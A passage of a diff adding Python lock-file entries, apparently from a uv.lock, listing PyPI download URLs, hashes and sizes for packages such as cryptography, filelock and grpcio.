+    { url = "https://files.pythonhosted.org/packages/5f/9f/a1bc8bcc798811b8527eb374bbccf30a3f3e806829d967118222bf1125eb/cryptography-48.0.1-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:86be3b1b0b6bf09482fb50a979c508d2950ed95f5621ec77f4e385962006b83a", size = 4696782, upload-time = "2026-06-09T22:31:45.615Z" },
+    { url = "https://files.pythonhosted.org/packages/66/c2/81a4fb4e4373c500bb526bc337ac5719dd31dd15b970b84a238168c6aa08/cryptography-48.0.1-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:4ab0a343c807bbcd90c971cd1ecf072937cd01847a9e002bef88fb47ac6be577", size = 4696618, upload-time = "2026-06-09T22:31:11.564Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/0b/aa68b221dde92d09cb29a024ede17550ee21e77a404e59fc093c82bb51e1/cryptography-48.0.1-cp39-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:9621de99d2da096006b629979efd8ae7eb2d8b822488d0c89ee4000c306c59b1", size = 5289970, upload-time = "2026-06-09T22:31:20.368Z" },
+    { url = "https://files.pythonhosted.org/packages/78/13/fba657f958d2af66ea959a4ba01212632089249d34af1ae48054136344d7/cryptography-48.0.1-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:88c852a0ae366e262e5a1744b685e6a433dc8788dd2a277e418bf4904203609d", size = 4731873, upload-time = "2026-06-09T22:31:22.253Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/4c/9a964756d24a26b3e34dfcb16f961b89838786e6700b635b0d1e3adff4b6/cryptography-48.0.1-cp39-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:43c5835e2cb98c8733d86f57d6fc879b613f5c3478607281c3e36daffc6dd8a6", size = 4330804, upload-time = "2026-06-09T22:31:36.56Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/0f/a10f3a6eb12950a10e3a874070283aa2dd5875b2bfd15fad8a3e17b3f13e/cryptography-48.0.1-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:fe0180af5bf9236518a087e35bf2d9a347d5f5f51e63c579d683ddff424e3d46", size = 4696217, upload-time = "2026-06-09T22:31:13.351Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/6f/5cd12f951165ea73ef85266775d97e4c763b2474ccfd816dd69d3a18d6f8/cryptography-48.0.1-cp39-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:b7a2d1a937a738a881737cec135a38bb61470589b17515b9f73f571d0ae10401", size = 5245252, upload-time = "2026-06-09T22:32:02.193Z" },
+    { url = "https://files.pythonhosted.org/packages/68/ab/8aaa12e4516ec4464033ab79b6f3b592bd5a92102467c4ace8a0d970203f/cryptography-48.0.1-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:b74ca3b8e5ecdd833bf6a002ca41b4793bb27fb8f1c06ffaf2643c9e9140e31b", size = 4731388, upload-time = "2026-06-09T22:32:04.019Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/24/50027ea4dca85ec1f40688f3c24fb32ccacd520583c9592c3cc95628e6fb/cryptography-48.0.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:2c37f2461406063b417837f5f3daab668652acd82423efcd7f0a9f04be972de1", size = 4824186, upload-time = "2026-06-09T22:32:18.707Z" },
+    { url = "https://files.pythonhosted.org/packages/52/41/04cb5eb17085ade6f50cc611fb657df6a0f5885350de8764ece89c050197/cryptography-48.0.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:86fe77abb1bd87afb251d4d02ada7ecf53a32cee9b67d976abb2e45a13297475", size = 4964539, upload-time = "2026-06-09T22:31:18.793Z" },
+    { url = "https://files.pythonhosted.org/packages/36/bf/ed70785c496e89d7e73b7cda2d21f2447fd6d4e821714b8d04ff217fed92/cryptography-48.0.1-cp39-abi3-win32.whl", hash = "sha256:6b2c0c3e6ccf3ade7750f836ef3ee36eea250cc467d45c256895573ac08cc6f1", size = 3282307, upload-time = "2026-06-09T22:30:53.162Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/ff/371ea7d252656ee1eb6d83eeeef3d1d0c6baf1d6497687d081ea03814670/cryptography-48.0.1-cp39-abi3-win_amd64.whl", hash = "sha256:9a49ca6c81417f6a5edb50375a60cccdd70fa0a91a5211829dbea74eba94d2ac", size = 3793408, upload-time = "2026-06-09T22:32:15.191Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/d3/eb4e394e587341fdad09a09101fa76478ead3a78b0ad63e55c22f0d75c02/cryptography-48.0.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:08a597acce1ff37f347400087776599e2348a3a8bc53b44120e463cd274efe4a", size = 3951747, upload-time = "2026-06-09T22:31:23.871Z" },
+    { url = "https://files.pythonhosted.org/packages/e0/4a/3f43451b4f858bfceaaaffc649e6e787e8d4fb332a1d443af39ab02cc8f1/cryptography-48.0.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:735824ec41b7f74a7c45fb1591349333e4c696cb6c044e5f46356e560143e4cd", size = 4641226, upload-time = "2026-06-09T22:31:02.532Z" },
+    { url = "https://files.pythonhosted.org/packages/73/4e/855584c2c23b09e4ce2d3b9c30e983e679cd60b068c513c6bbdb91e11782/cryptography-48.0.1-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:92a46e1d638daa264ba2971c0b0489c9409787943efae4d60ffda3d091ef832c", size = 4668958, upload-time = "2026-06-09T22:32:06.213Z" },
+    { url = "https://files.pythonhosted.org/packages/42/3b/d35750e41d803d1e516fd6d6011f065424924da7af1748cef4cc9cb3ede1/cryptography-48.0.1-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:7e234ac052af99f2700826a5c29ea99d9c1b1f80341cde62d11c8154dc8e0bd9", size = 4640793, upload-time = "2026-06-09T22:32:26.331Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/aa/cdb7181fe865285e87e96825aaab239400f1de0c3bfba9bd9769b79f1a92/cryptography-48.0.1-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:33842cf0888951cef5bc7ac724ab844a42044c1727b967b7f8997289a0464f92", size = 4668505, upload-time = "2026-06-09T22:31:27.534Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/8c/ce3823c06c2804f194f9e64f0d67fa3f4094a39f2bb1a990cd03603af8fc/cryptography-48.0.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:6184ca7b174f28d7c703f1290d4b297217c45355f77a98f67e9b7f14549ac54a", size = 3742204, upload-time = "2026-06-09T22:31:34.773Z" },
+]
+
+[[package]]
+name = "distlib"
+version = "0.4.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/96/8e/709914eb2b5749865801041647dc7f4e6d00b549cfe88b65ca192995f07c/distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d", size = 614605, upload-time = "2025-07-17T16:52:00.465Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/33/6b/e0547afaf41bf2c42e52430072fa5658766e3d65bd4b03a563d1b6336f57/distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16", size = 469047, upload-time = "2025-07-17T16:51:58.613Z" },
+]
+
+[[package]]
+name = "distro"
+version = "1.9.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/fc/f8/98eea607f65de6527f8a2e8885fc8015d3e6f5775df186e443e0964a11c3/distro-1.9.0.tar.gz", hash = "sha256:2fa77c6fd8940f116ee1d6b94a2f90b13b5ea8d019b98bc8bafdcabcdd9bdbed", size = 60722, upload-time = "2023-12-24T09:54:32.31Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/12/b3/231ffd4ab1fc9d679809f356cebee130ac7daa00d6d6f3206dd4fd137e9e/distro-1.9.0-py3-none-any.whl", hash = "sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2", size = 20277, upload-time = "2023-12-24T09:54:30.421Z" },
+]
+
+[[package]]
+name = "docopt"
+version = "0.6.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a2/55/8f8cab2afd404cf578136ef2cc5dfb50baa1761b68c9da1fb1e4eed343c9/docopt-0.6.2.tar.gz", hash = "sha256:49b3a825280bd66b3aa83585ef59c4a8c82f2c8a522dbe754a8bc8d08c85c491", size = 25901, upload-time = "2014-06-16T11:18:57.406Z" }
+
+[[package]]
+name = "exceptiongroup"
+version = "1.3.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions", marker = "python_full_version < '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" },
+]
+
+[[package]]
+name = "filelock"
+version = "3.28.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d6/17/6e8890271880903e3538660a21d63a6c1fea969ac71d0d6b608b78727fa9/filelock-3.28.0.tar.gz", hash = "sha256:4ed1010aae813c4ee8d9c660e4792475ee60c4a0ba76073ceaf862bd317e3ca6", size = 56474, upload-time = "2026-04-14T22:54:33.625Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/3b/21/2f728888c45033d34a417bfcd248ea2564c9e08ab1bfd301377cf05d5586/filelock-3.28.0-py3-none-any.whl", hash = "sha256:de9af6712788e7171df1b28b15eba2446c69721433fa427a9bee07b17820a9db", size = 39189, upload-time = "2026-04-14T22:54:32.037Z" },
+]
+
+[[package]]
+name = "forbiddenfruit"
+version = "0.1.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e6/79/d4f20e91327c98096d605646bdc6a5ffedae820f38d378d3515c42ec5e60/forbiddenfruit-0.1.4.tar.gz", hash = "sha256:e3f7e66561a29ae129aac139a85d610dbf3dd896128187ed5454b6421f624253", size = 43756, upload-time = "2021-01-16T21:03:35.401Z" }
+
+[[package]]
+name = "googleapis-common-protos"
+version = "1.74.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "protobuf", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/20/18/a746c8344152d368a5aac738d4c857012f2c5d1fd2eac7e17b647a7861bd/googleapis_common_protos-1.74.0.tar.gz", hash = "sha256:57971e4eeeba6aad1163c1f0fc88543f965bb49129b8bb55b2b7b26ecab084f1", size = 151254, upload-time = "2026-04-02T21:23:26.679Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b6/b0/be5d3329badb9230b765de6eea66b73abd5944bdeb5afb3562ddcd80ae84/googleapis_common_protos-1.74.0-py3-none-any.whl", hash = "sha256:702216f78610bb510e3f12ac3cafd281b7ac45cc5d86e90ad87e4d301a3426b5", size = 300743, upload-time = "2026-04-02T21:22:49.108Z" },
+]
+
+[[package]]
+name = "grpcio"
+version = "1.80.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b7/48/af6173dbca4454f4637a4678b67f52ca7e0c1ed7d5894d89d434fecede05/grpcio-1.80.0.tar.gz", hash = "sha256:29aca15edd0688c22ba01d7cc01cb000d72b2033f4a3c72a81a19b56fd143257", size = 12978905, upload-time = "2026-03-30T08:49:10.502Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/9d/cd/bb7b7e54084a344c03d68144450da7ddd5564e51a298ae1662de65f48e2d/grpcio-1.80.0-cp310-cp310-linux_armv7l.whl", hash = "sha256:886457a7768e408cdce226ad1ca67d2958917d306523a0e21e1a2fdaa75c9c9c", size = 6050363, upload-time = "2026-03-30T08:46:20.894Z" },
+    { url = "https://files.pythonhosted.org/packages/16/02/1417f5c3460dea65f7a2e3c14e8b31e77f7ffb730e9bfadd89eda7a9f477/grpcio-1.80.0-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:7b641fc3f1dc647bfd80bd713addc68f6d145956f64677e56d9ebafc0bd72388", size = 12026037, upload-time = "2026-03-30T08:46:25.144Z" },
+    { url = "https://files.pythonhosted.org/packages/43/98/c910254eedf2cae368d78336a2de0678e66a7317d27c02522392f949b5c6/grpcio-1.80.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:33eb763f18f006dc7fee1e69831d38d23f5eccd15b2e0f92a13ee1d9242e5e02", size = 6602306, upload-time = "2026-03-30T08:46:27.593Z" },
+    { url = "https://files.pythonhosted.org/packages/7c/f8/88ca4e78c077b2b2113d95da1e1ab43efd43d723c9a0397d26529c2c1a56/grpcio-1.80.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:52d143637e3872633fc7dd7c3c6a1c84e396b359f3a72e215f8bf69fd82084fc", size = 7301535, upload-time = "2026-03-30T08:46:29.556Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/96/f28660fe2fe0f153288bf4a04e4910b7309d442395135c88ed4f5b3b8b40/grpcio-1.80.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c51bf8ac4575af2e0678bccfb07e47321fc7acb5049b4482832c5c195e04e13a", size = 6808669, upload-time = "2026-03-30T08:46:31.984Z" },
+    { url = "https://files.pythonhosted.org/packages/47/eb/3f68a5e955779c00aeef23850e019c1c1d0e032d90633ba49c01ad5a96e0/grpcio-1.80.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:50a9871536d71c4fba24ee856abc03a87764570f0c457dd8db0b4018f379fed9", size = 7409489, upload-time = "2026-03-30T08:46:34.684Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/a7/d2f681a4bfb881be40659a309771f3bdfbfdb1190619442816c3f0ffc079/grpcio-1.80.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:a72d84ad0514db063e21887fbacd1fd7acb4d494a564cae22227cd45c7fbf199", size = 8423167, upload-time = "2026-03-30T08:46:36.833Z" },
+    { url = "https://files.pythonhosted.org/packages/97/8a/29b4589c204959aa35ce5708400a05bba72181807c45c47b3ec000c39333/grpcio-1.80.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f7691a6788ad9196872f95716df5bc643ebba13c97140b7a5ee5c8e75d1dea81", size = 7846761, upload-time = "2026-03-30T08:46:40.091Z" },
+    { url = "https://files.pythonhosted.org/packages/6b/d2/ed143e097230ee121ac5848f6ff14372dba91289b10b536d54fb1b7cbae7/grpcio-1.80.0-cp310-cp310-win32.whl", hash = "sha256:46c2390b59d67f84e882694d489f5b45707c657832d7934859ceb8c33f467069", size = 4156534, upload-time = "2026-03-30T08:46:42.026Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/c9/df8279bb49b29409995e95efa85b72973d62f8aeff89abee58c91f393710/grpcio-1.80.0-cp310-cp310-win_amd64.whl", hash = "sha256:dc053420fc75749c961e2a4c906398d7c15725d36ccc04ae6d16093167223b58", size = 4889869, upload-time = "2026-03-30T08:46:44.219Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/db/1d56e5f5823257b291962d6c0ce106146c6447f405b60b234c4f222a7cde/grpcio-1.80.0-cp311-cp311-linux_armv7l.whl", hash = "sha256:dfab85db094068ff42e2a3563f60ab3dddcc9d6488a35abf0132daec13209c8a", size = 6055009, upload-time = "2026-03-30T08:46:46.265Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/18/c83f3cad64c5ca63bca7e91e5e46b0d026afc5af9d0a9972472ceba294b3/grpcio-1.80.0-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:5c07e82e822e1161354e32da2662f741a4944ea955f9f580ec8fb409dd6f6060", size = 12035295, upload-time = "2026-03-30T08:46:49.099Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/8e/e14966b435be2dda99fbe89db9525ea436edc79780431a1c2875a3582644/grpcio-1.80.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ba0915d51fd4ced2db5ff719f84e270afe0e2d4c45a7bdb1e8d036e4502928c2", size = 6610297, upload-time = "2026-03-30T08:46:52.123Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/26/d5eb38f42ce0e3fdc8174ea4d52036ef8d58cc4426cb800f2610f625dd75/grpcio-1.80.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:3cb8130ba457d2aa09fa6b7c3ed6b6e4e6a2685fce63cb803d479576c4d80e21", size = 7300208, upload-time = "2026-03-30T08:46:54.859Z" },
+    { url = "https://files.pythonhosted.org/packages/25/51/bd267c989f85a17a5b3eea65a6feb4ff672af41ca614e5a0279cc0ea381c/grpcio-1.80.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:09e5e478b3d14afd23f12e49e8b44c8684ac3c5f08561c43a5b9691c54d136ab", size = 6813442, upload-time = "2026-03-30T08:46:57.056Z" },
+    { url = "https://files.pythonhosted.org/packages/9e/d9/d80eef735b19e9169e30164bbf889b46f9df9127598a83d174eb13a48b26/grpcio-1.80.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:00168469238b022500e486c1c33916acf2f2a9b2c022202cf8a1885d2e3073c1", size = 7414743, upload-time = "2026-03-30T08:46:59.682Z" },
+    { url = "https://files.pythonhosted.org/packages/de/f2/567f5bd5054398ed6b0509b9a30900376dcf2786bd936812098808b49d8d/grpcio-1.80.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8502122a3cc1714038e39a0b071acb1207ca7844208d5ea0d091317555ee7106", size = 8426046, upload-time = "2026-03-30T08:47:02.474Z" },
+    { url = "https://files.pythonhosted.org/packages/62/29/73ef0141b4732ff5eacd68430ff2512a65c004696997f70476a83e548e7e/grpcio-1.80.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ce1794f4ea6cc3ca29463f42d665c32ba1b964b48958a66497917fe9069f26e6", size = 7851641, upload-time = "2026-03-30T08:47:05.462Z" },
+    { url = "https://files.pythonhosted.org/packages/46/69/abbfa360eb229a8623bab5f5a4f8105e445bd38ce81a89514ba55d281ad0/grpcio-1.80.0-cp311-cp311-win32.whl", hash = "sha256:51b4a7189b0bef2aa30adce3c78f09c83526cf3dddb24c6a96555e3b97340440", size = 4154368, upload-time = "2026-03-30T08:47:08.027Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/d4/ae92206d01183b08613e846076115f5ac5991bae358d2a749fa864da5699/grpcio-1.80.0-cp311-cp311-win_amd64.whl", hash = "sha256:02e64bb0bb2da14d947a49e6f120a75e947250aebe65f9629b62bb1f5c14e6e9", size = 4894235, upload-time = "2026-03-30T08:47:10.839Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/e8/a2b749265eb3415abc94f2e619bbd9e9707bebdda787e61c593004ec927a/grpcio-1.80.0-cp312-cp312-linux_armv7l.whl", hash = "sha256:c624cc9f1008361014378c9d776de7182b11fe8b2e5a81bc69f23a295f2a1ad0", size = 6015616, upload-time = "2026-03-30T08:47:13.428Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/97/b1282161a15d699d1e90c360df18d19165a045ce1c343c7f313f5e8a0b77/grpcio-1.80.0-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:f49eddcac43c3bf350c0385366a58f36bed8cc2c0ec35ef7b74b49e56552c0c2", size = 12014204, upload-time = "2026-03-30T08:47:15.873Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/5e/d319c6e997b50c155ac5a8cb12f5173d5b42677510e886d250d50264949d/grpcio-1.80.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d334591df610ab94714048e0d5b4f3dd5ad1bee74dfec11eee344220077a79de", size = 6563866, upload-time = "2026-03-30T08:47:18.588Z" },
+    { url = "https://files.pythonhosted.org/packages/ae/f6/fdd975a2cb4d78eb67769a7b3b3830970bfa2e919f1decf724ae4445f42c/grpcio-1.80.0-cp312-cp312-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:0cb517eb1d0d0aaf1d87af7cc5b801d686557c1d88b2619f5e31fab3c2315921", size = 7273060, upload-time = "2026-03-30T08:47:21.113Z" },
+    { url = "https://files.pythonhosted.org/packages/db/f0/a3deb5feba60d9538a962913e37bd2e69a195f1c3376a3dd44fe0427e996/grpcio-1.80.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4e78c4ac0d97dc2e569b2f4bcbbb447491167cb358d1a389fc4af71ab6f70411", size = 6782121, upload-time = "2026-03-30T08:47:23.827Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/84/36c6dcfddc093e108141f757c407902a05085e0c328007cb090d56646cdf/grpcio-1.80.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2ed770b4c06984f3b47eb0517b1c69ad0b84ef3f40128f51448433be904634cd", size = 7383811, upload-time = "2026-03-30T08:47:26.517Z" },
+    { url = "https://files.pythonhosted.org/packages/7c/ef/f3a77e3dc5b471a0ec86c564c98d6adfa3510d38f8ee99010410858d591e/grpcio-1.80.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:256507e2f524092f1473071a05e65a5b10d84b82e3ff24c5b571513cfaa61e2f", size = 8393860, upload-time = "2026-03-30T08:47:29.439Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/8d/9d4d27ed7f33d109c50d6b5ce578a9914aa68edab75d65869a17e630a8d1/grpcio-1.80.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:9a6284a5d907c37db53350645567c522be314bac859a64a7a5ca63b77bb7958f", size = 7830132, upload-time = "2026-03-30T08:47:33.254Z" },
+    { url = "https://files.pythonhosted.org/packages/14/e4/9990b41c6d7a44e1e9dee8ac11d7a9802ba1378b40d77468a7761d1ad288/grpcio-1.80.0-cp312-cp312-win32.whl", hash = "sha256:c71309cfce2f22be26aa4a847357c502db6c621f1a49825ae98aa0907595b193", size = 4140904, upload-time = "2026-03-30T08:47:35.319Z" },
+    { url = "https://files.pythonhosted.org/packages/2f/2c/296f6138caca1f4b92a31ace4ae1b87dab692fc16a7a3417af3bb3c805bf/grpcio-1.80.0-cp312-cp312-win_amd64.whl", hash = "sha256:9fe648599c0e37594c4809d81a9e77bd138cc82eb8baa71b6a86af65426723ff", size = 4880944, upload-time = "2026-03-30T08:47:37.831Z" },
+    { url = "https://files.pythonhosted.org/packages/2f/3a/7c3c25789e3f069e581dc342e03613c5b1cb012c4e8c7d9d5cf960a75856/grpcio-1.80.0-cp313-cp313-linux_armv7l.whl", hash = "sha256:e9e408fc016dffd20661f0126c53d8a31c2821b5c13c5d67a0f5ed5de93319ad", size = 6017243, upload-time = "2026-03-30T08:47:40.075Z" },
+    { url = "https://files.pythonhosted.org/packages/04/19/21a9806eb8240e174fd1ab0cd5b9aa948bb0e05c2f2f55f9d5d7405e6d08/grpcio-1.80.0-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:92d787312e613754d4d8b9ca6d3297e69994a7912a32fa38c4c4e01c272974b0", size = 12010840, upload-time = "2026-03-30T08:47:43.11Z" },
+    { url = "https://files.pythonhosted.org/packages/18/3a/23347d35f76f639e807fb7a36fad3068aed100996849a33809591f26eca6/grpcio-1.80.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8ac393b58aa16991a2f1144ec578084d544038c12242da3a215966b512904d0f", size = 6567644, upload-time = "2026-03-30T08:47:46.806Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/40/96e07ecb604a6a67ae6ab151e3e35b132875d98bc68ec65f3e5ab3e781d7/grpcio-1.80.0-cp313-cp313-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:68e5851ac4b9afe07e7f84483803ad167852570d65326b34d54ca560bfa53fb6", size = 7277830, upload-time = "2026-03-30T08:47:49.643Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/e2/da1506ecea1f34a5e365964644b35edef53803052b763ca214ba3870c856/grpcio-1.80.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:873ff5d17d68992ef6605330127425d2fc4e77e612fa3c3e0ed4e668685e3140", size = 6783216, upload-time = "2026-03-30T08:47:52.817Z" },
+    { url = "https://files.pythonhosted.org/packages/44/83/3b20ff58d0c3b7f6caaa3af9a4174d4023701df40a3f39f7f1c8e7c48f9d/grpcio-1.80.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:2bea16af2750fd0a899bf1abd9022244418b55d1f37da2202249ba4ba673838d", size = 7385866, upload-time = "2026-03-30T08:47:55.687Z" },
+    { url = "https://files.pythonhosted.org/packages/47/45/55c507599c5520416de5eefecc927d6a0d7af55e91cfffb2e410607e5744/grpcio-1.80.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ba0db34f7e1d803a878284cd70e4c63cb6ae2510ba51937bf8f45ba997cefcf7", size = 8391602, upload-time = "2026-03-30T08:47:58.303Z" },
+    { url = "https://files.pythonhosted.org/packages/10/bb/dd06f4c24c01db9cf11341b547d0a016b2c90ed7dbbb086a5710df7dd1d7/grpcio-1.80.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8eb613f02d34721f1acf3626dfdb3545bd3c8505b0e52bf8b5710a28d02e8aa7", size = 7826752, upload-time = "2026-03-30T08:48:01.311Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/1e/9d67992ba23371fd63d4527096eb8c6b76d74d52b500df992a3343fd7251/grpcio-1.80.0-cp313-cp313-win32.whl", hash = "sha256:93b6f823810720912fd131f561f91f5fed0fda372b6b7028a2681b8194d5d294", size = 4142310, upload-time = "2026-03-30T08:48:04.594Z" },
+    { url = "https://files.pythonhosted.org/packages/cf/e6/283326a27da9e2c3038bc93eeea36fb118ce0b2d03922a9cda6688f53c5b/grpcio-1.80.0-cp313-cp313-win_amd64.whl", hash = "sha256:e172cf795a3ba5246d3529e4d34c53db70e888fa582a8ffebd2e6e48bc0cba50", size = 4882833, upload-time = "2026-03-30T08:48:07.363Z" },
+    { url = "https://files.pythonhosted.org/packages/c5/6d/e65307ce20f5a09244ba9e9d8476e99fb039de7154f37fb85f26978b59c3/grpcio-1.80.0-cp314-cp314-linux_armv7l.whl", hash = "sha256:3d4147a97c8344d065d01bbf8b6acec2cf86fb0400d40696c8bdad34a64ffc0e", size = 6017376, upload-time = "2026-03-30T08:48:10.005Z" },
+    { url = "https://files.pythonhosted.org/packages/69/10/9cef5d9650c72625a699c549940f0abb3c4bfdb5ed45a5ce431f92f31806/grpcio-1.80.0-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:d8e11f167935b3eb089ac9038e1a063e6d7dbe995c0bb4a661e614583352e76f", size = 12018133, upload-time = "2026-03-30T08:48:12.927Z" },
+    { url = "https://files.pythonhosted.org/packages/04/82/983aabaad82ba26113caceeb9091706a0696b25da004fe3defb5b346e15b/grpcio-1.80.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f14b618fc30de822681ee986cfdcc2d9327229dc4c98aed16896761cacd468b9", size = 6574748, upload-time = "2026-03-30T08:48:16.386Z" },
+    { url = "https://files.pythonhosted.org/packages/07/d7/031666ef155aa0bf399ed7e19439656c38bbd143779ae0861b038ce82abd/grpcio-1.80.0-cp314-cp314-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:4ed39fbdcf9b87370f6e8df4e39ca7b38b3e5e9d1b0013c7b6be9639d6578d14", size = 7277711, upload-time = "2026-03-30T08:48:19.627Z" },
+    { url = "https://files.pythonhosted.org/packages/e8/43/f437a78f7f4f1d311804189e8f11fb311a01049b2e08557c1068d470cb2e/grpcio-1.80.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:2dcc70e9f0ba987526e8e8603a610fb4f460e42899e74e7a518bf3c68fe1bf05", size = 6785372, upload-time = "2026-03-30T08:48:22.373Z" },
+    { url = "https://files.pythonhosted.org/packages/93/3d/f6558e9c6296cb4227faa5c43c54a34c68d32654b829f53288313d16a86e/grpcio-1.80.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:448c884b668b868562b1bda833c5fce6272d26e1926ec46747cda05741d302c1", size = 7395268, upload-time = "2026-03-30T08:48:25.638Z" },
+    { url = "https://files.pythonhosted.org/packages/06/21/0fdd77e84720b08843c371a2efa6f2e19dbebf56adc72df73d891f5506f0/grpcio-1.80.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a1dc80fe55685b4a543555e6eef975303b36c8db1023b1599b094b92aa77965f", size = 8392000, upload-time = "2026-03-30T08:48:28.974Z" },
